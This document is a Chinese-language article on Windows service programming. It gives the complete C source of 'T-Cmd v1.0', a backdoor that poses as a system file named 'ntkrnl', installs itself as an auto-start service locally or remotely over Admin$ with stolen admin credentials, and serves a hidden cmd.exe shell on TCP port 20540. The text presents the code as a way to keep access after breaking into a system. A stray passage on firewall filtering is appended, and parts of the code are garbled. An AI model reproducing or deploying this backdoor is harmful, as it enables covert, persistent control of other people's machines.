服务控制请求:服务控制程序使用ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令,可以是系统默认的,也可以是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时,在返回的dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受SERVICE_CONTROL_INTERROGATE命令。2.服务程序
一个服务程序内可以包含一个服务或多个服务的执行代码,但是它们都拥有固定的三个部分:服务main函数,服务ServiceMain函数和服务Control Handler函数。
服务main函数:服务程序通常是以控制台的方式存在的,所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时,会等待StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用StartServiceCtrlDispatcher函数的执行;如果服务类型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构,它包含了进程内所有服务的名称和服务入口点。
服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程序请求一个新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程序,而后控制调度程序创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下的任务:调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完成的任务。
服务Control Handler函数:每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在HandlerEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统时,所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。3.服务配置程序
服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前,必须获得一个服务对象的句柄,当然我们可以通过调用OpenSCManager,OpenService或CreateService函数来获得。
创建,删除服务:服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务,它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。
在你进入某个系统后,往往会为自己留下一个或多个后门,以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时,总是希望后门仍然存在。那么,将后门程序创建成服务程序应该是个不错的想法,这就是利用了服务程序自动运行的机制,当然在Windows2000的任务管理器里也很难结束一个服务程序的进程。
创建一个后门,它常常会在一个端口监听,以方便我们使用TCP/UDP协议与远程主机建立连接,所以我们首先需要在后门程序里创建一个监听的端口,为了数据传输的稳定与安全,我们可以使用TCP协议。
那么,我们如何才能模拟一个Telnet服务似的后门呢?我想大家都清楚,如果在远程主机上有一个Cmd是我们可以控制的,也就是我们可以在这个Cmd里执行命令,那么就可以实现对远程主机的控制了,至少可以执行各种常规的系统命令。启动一个Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因为WinExec和ShellExecute它们实在太简单了。在使用CreateProcess时,要用到它的重定向标准输入/输出的选项功能,把在本地主机的输入重定向输入到远程主机的Cmd进程,并且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用CreatePipe创建两个管道来实现进程间的数据通信(Inter-Process Communication,IPC)。当然,还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送,我们选择TCP协议的send和recv函数。在客户结束访问后,还要调用TerminateProcess来结束创建的Cmd进程。五> 关键函数分析
本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。
1.自定义数据结构与函数
typedef struct
{
HANDLE hPipe;
//为实现进程间通信而使用的管道;
SOCKET sClient;
//与客户端进行通信时的客户端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd标准输入/输出时使用的数据结构;typedef struct PROCESSDATA
{
HANDLE hProcess;
//创建Cmd进程时获得的进程句柄;
DWORD dwProcessId;
//创建Cmd进程时获得的进程标识符;
struct PROCESSDATA *next;
//指向下一个数据结构的指针;
}PROCESSDATA,*PPROCESSDATA;
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;void WINAPI CmdStart(DWORD,LPTSTR *);
//服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;
void WINAPI CmdControl(DWORD);
//服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;
DWORD WINAPI CmdService(LPVOID);
//服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;
DWORD WINAPI CmdShell(LPVOID);
//创建管道与Cmd进程,及Cmd的输入/输出线程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的输出,读取信息后发送到客户端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的输入,接收客户端的信息输入到Cmd进程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;
void InstallCmdService(char *);
//复制传送文件,打开服务控制管理器,创建或打开服务程序;
void RemoveCmdService(char *);
//删除文件,停止服务后,卸载服务程序;2.服务程序相关函数
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服务程序的名称和入口点;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
StartServiceCtrlDispatcher(DispatchTable);
//连接服务控制管理器,开始控制调度程序线程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注册CmdControl函数为“HandlerEx”函数,并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//设置服务的当前状态为SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//创建服务主线程,实现后门功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局变量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//终止创建的Cmd进程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系统目录下服务程序的文件是否已经存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//获得当前进程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//复制文件到系统目录下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打开服务控制管理器数据库;
CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服务已经创建,则打开服务;
StartService(schService,0,NULL);
//启动服务进程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服务状态;
DeleteService(schService);
//卸载服务程序;
DeleteFile(lpImagePath);
//删除文件;3.后门程序相关函数
hMutex=CreateMutex(NULL,FALSE,NULL);
//创建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//创建处理客户端访问的重定向输入输出线程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//创建用于进程间通信的输入/输出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//创建经重定向输入输出的Cmd进程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//创建处理Cmd输入输出的线程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待线程或进程的结束;
ReleaseMutex(hMutex);
//释放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//从管道中复制数据到缓冲区中,但不从管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//从管道中复制数据到缓冲区中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中写入从客户端接收到的数据;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//与远程主机建立连接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//与远程主机结束连接;
1.SC简介
SC是一个与NT服务控制器,服务进程进行通信的控制台程序,它可以查询和修改已安装服务的数据库。
语法:sc [command] [service name] ... ,选项为“\\ServerName”的形式。
主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。2.T-Cmd v1.0 源代码#include
#include #define BUFFER_SIZE 1024 typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;void WINAPI CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);BOOL ConnectRemote(BOOL,char *,char *,char *);
void InstallCmdService(char *);
void RemoveCmdService(char *);void Start(void);
void Usage(void);int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
{NULL ,NULL }
};if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
return 0;
}
else if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL);
}
else
{
Start();
Usage();
}
return 0;
}StartServiceCtrlDispatcher(DispatchTable);return 0;
}void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}return ;
}void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
}
else
{
lpProcessDataHead=NULL;
}
}ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;case SERVICE_CONTROL_INTERROGATE:
break;default:
break;
}if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}return ;
}DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}
return 0;
}DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW │ STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) ││ (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);CloseHandle(hWriteShell);
CloseHandle(hReadShell);sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}CloseHandle(hWritePipe);
CloseHandle(hReadPipe);WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);return 0;
}DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: [email protected] ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}if(bConnect)
{
printf("Now Connecting ...... ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED) ││ (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
else if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
break;
}
else
{
printf("Failure !\n");
return FALSE;
}
Sleep(10);
}
}
else
{
printf("Now Disconnecting ... ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}return TRUE;
}void InstallCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
return ;
}schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}return ;
}void Start()
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail: [email protected] ]---\n");
printf("\t\t---[ HomePage: www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003 ]---\n\n");
return ;
}void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] printf(" T-Cmd -Remove [RemoteHost] printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}
当PC客户机向UNIX计算机发起telnet请求时,PC的telnet客户程序就产生一个TCP包并把它传给本地的协议栈准备发送。接下来,协议栈将这个TCP包“塞”到一个IP包里,然后通过PC机的TCP/IP栈所定义的路径将它发送给UNIX计算机。在这个例子里,这个IP包必须经过横在PC和UNIX计算机中的防火墙才能到达UNIX计算机。 现在我们“命令”(用专业术语来说就是配制)防火墙把所有发给UNIX计算机的数据包都给拒了,完成这项工作以后,“心肠”比较好的防火墙还会通知客户程序一声呢!既然发向目标的IP数据没法转发,那么只有和UNIX计算机同在一个网段的用户才能访问UNIX计算机了。
还有一种情况,你可以命令防火墙专给那台可怜的PC机找茬,别人的数据包都让过就它不行。这正是防火墙最基本的功能:根据IP地址做转发判断。但要上了大场面这种小伎俩就玩不转了,由于黑客们可以采用IP地址欺骗技术,伪装成合法地址的计算机就可以穿越信任这个地址的防火墙了。不过根据地址的转发决策机制还是最基本和必需的。另外要注意的一点是,不要用DNS主机名建立过滤表,对DNS的伪造比IP地址欺骗要容易多了。 服务器TCP/UDP 端口过滤 仅仅依靠地址进行数据过滤在实际运用中是不可行的,还有个原因就是目标主机上往往运行着多种通信服务,比方说,我们不想让用户采用 telnet的方式连到系统,但这绝不等于我们非得同时禁止他们使用SMTP/POP邮件服务器吧?所以说,在地址之外我们还要对服务器的TCP/ UDP端口进行过滤。
